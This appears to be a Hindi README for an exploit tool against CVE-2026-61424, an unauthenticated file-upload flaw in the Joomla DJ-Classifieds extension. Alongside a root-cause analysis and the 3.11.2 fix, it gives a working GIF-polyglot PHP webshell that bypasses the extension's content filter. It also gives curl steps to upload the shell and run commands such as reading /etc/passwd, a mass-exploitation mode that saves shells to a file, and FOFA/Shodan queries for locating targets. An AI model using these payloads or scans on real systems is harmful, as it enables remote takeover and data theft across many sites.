CVE-2026-61424 — DJ-Classifieds <= 3.11.1

imageupload कार्य → बिना प्रमाणीकरण → 3-स्ट्रिंग फ़िल्टर बायपास (

---

अवलोकन

Joomla के लिए DJ-Classifieds में बिना प्रमाणीकरण वाला मनमाना फ़ाइल अपलोड (unauthenticated arbitrary file upload)। imageupload कार्य एंडपॉइंट फ़ाइल अपलोड को बिना प्रमाणीकरण के संसाधित करता है और एक 3-स्ट्रिंग ब्लॉकलिस्ट (<?php, eval(, base64) पर निर्भर करता है, जिसे PHP शॉर्ट ओपन टैग (<?=) का उपयोग करके आसानी से बायपास किया जा सकता है। GIF पॉलीग्लॉट के साथ, अपलोड की गई फ़ाइल सभी छवि सत्यापन जाँचों को पार कर जाती है, जबकि उसमें पूर्ण रूप से कार्यशील PHP वेबशेल होता है।

प्रभावित संस्करण

भेद्यता तंत्र

मूल कारण

administrator/components/com_djclassifieds/lib/djupload.php में upload() विधि को imageupload कार्य से मैप किया गया है, जिसमें कोई प्रमाणीकरण जाँच और कोई CSRF टोकन सत्यापन नहीं है।

// administrator/components/com_djclassifieds/lib/djupload.php
// imageupload task → upload() method

// MISSING: JFactory::getUser() auth check
// MISSING: JSession::checkToken() CSRF check

$name     = $_REQUEST['name'] ?? $_REQUEST['filename'] ?? '';
$raw_body = file_get_contents('php://input');

// ... writes file to tmp/djupload/<name>

सुरक्षा फ़िल्टर क्यों विफल होता है (3-स्ट्रिंग बायपास)

कंटेंट स्कैनर केवल तीन शाब्दिक स्ट्रिंग्स को ब्लॉकलिस्ट करता है:

// The ONLY malicious-content check in the entire upload handler:
if (preg_match('/<\?php|eval\(|base64/i', $fileContent)) {
    die('Malicious file detected');
}

यह <?php, eval( और base64 को ब्लॉक करता है — लेकिन PHP शॉर्ट ओपन टैग को नहीं:

<?=system($_GET['c']);?>     ← 0/3 blocked strings → PASSES

PHP शॉर्ट इको टैग (<?=) PHP 5.4 से डिफ़ॉल्ट रूप से सक्षम हैं।

हमले का प्रवाह

1. एक पॉलीग्लॉट तैयार करें: वैध GIF89a हेडर + <?=system($_GET['c']);?>
2. name=shell.gif के साथ index.php?option=com_djclassifieds&task=imageupload पर POST करें
3. सर्वर जाँच करता है: .gif एक्सटेंशन ✓ getimagesize() ✓ कोई <?php/eval(/base64 नहीं ✓
4. फ़ाइल tmp/djupload/<shell>.gif में सहेजी जाती है
5. एक्सेस: https://target.com/tmp/djupload/shell.gif?c=id

सत्यापित स्रोत फ़ाइलें

सर्वर लॉग साक्ष्य

प्रकटीकरण से पहले वाइल्ड में अनाम स्कैनर प्रोब देखे गए:

POST /index.php?option=com_djclassifieds&task=imageupload
  name=<random>.gif  filename=<random>.gif
  — no cookie, no session, no referer

स्थापना

git clone https://github.com/shinthink/CVE-2026-61424.git
cd CVE-2026-61424
pip install -r requirements.txt

उपयोग

एकल लक्ष्य

python cve_2026_61424.py -t target.com

सामूहिक शोषण

python cve_2026_61424.py -f targets.txt -o shells.txt

तर्क

प्रूफ़ ऑफ़ कॉन्सेप्ट (PoC)

एकल लक्ष्य

$ python cve_2026_61424.py -t target.com

  Host         : target.com
  DJ-Classifieds: YES v3.11.1
  Upload       : YES
  RCE          : YES
  Shell        : https://target.com/tmp/djupload/img_abc123.gif
  Output       : DJ-SHELL-OK Linux ... uid=33(www-data) gid=33(www-data) ...
  Time         : 2.1s

मैन्युअल शोषण

# Step 1 — Upload polyglot shell
curl -sk -X POST \
  "https://target.com/index.php?option=com_djclassifieds&task=imageupload&name=shell.gif&filename=shell.gif" \
  -H "Content-Type: image/gif" \
  --data-binary @polyglot.gif

# Step 2 — Verify RCE
curl -sk "https://target.com/tmp/djupload/shell.gif?c=id;hostname;uname+-a"

# Step 3 — Execute arbitrary commands
curl -sk "https://target.com/tmp/djupload/shell.gif?c=cat%20/etc/passwd"

FOFA / Shodan

# DJ-Classifieds component
body="com_djclassifieds"

# Version disclosure (XML manifest)
body="DJ-Classifieds" && body="<version>"

# Exposed djupload directory
body="Index of" && body="djupload"

# Shodan
http.html:"com_djclassifieds" http.component:"Joomla"

फिक्स (3.11.2)

1. Joomla प्रमाणीकरण जोड़ा गया — upload() से पहले JFactory::getUser() गेस्ट जाँच
2. CSRF टोकन सत्यापन जोड़ा गया — imageupload कार्य पर JSession::checkToken()
3. प्रतिबंधित फ़ाइल प्रकार — सर्वर-साइड केवल-छवि अनुमत सूची (allowlist) (jpg, jpeg, png, gif)
4. बेहतर कंटेंट स्कैनिंग — 3-स्ट्रिंग ब्लॉकलिस्ट से परे अतिरिक्त PHP पैटर्न पहचान

प्रभाव

• पूर्ण RCE — वेब सर्वर उपयोगकर्ता के रूप में मनमाने कमांड निष्पादित करें
• स्थायी पहुँच — शेल तब तक बना रहता है जब तक इसे मैन्युअल रूप से नहीं हटाया जाता या निर्देशिका साफ़ नहीं की जाती
• कंटेंट दुरुपयोग — विश्वसनीय डोमेन पर मनमानी फ़ाइलें अपलोड और होस्ट करें
• डिस्क भरना (Disk exhaustion) — अनाम सामूहिक अपलोड क्षमता
• श्रृंखलाबद्ध हमले — पॉलीग्लॉट छवि को साइट पर कहीं और LFI के माध्यम से शामिल किया जा सकता है

अस्वीकरण

यह उपकरण केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण के लिए है। इसका उपयोग केवल उन प्रणालियों पर करें जिनके स्वामी आप हैं या जिनके परीक्षण की आपको स्पष्ट अनुमति है। लेखक दुरुपयोग या क्षति के लिए कोई जिम्मेदारी नहीं लेता है।

संदर्भ

_{DJ-Extensions या mySites.guru से संबद्ध नहीं।}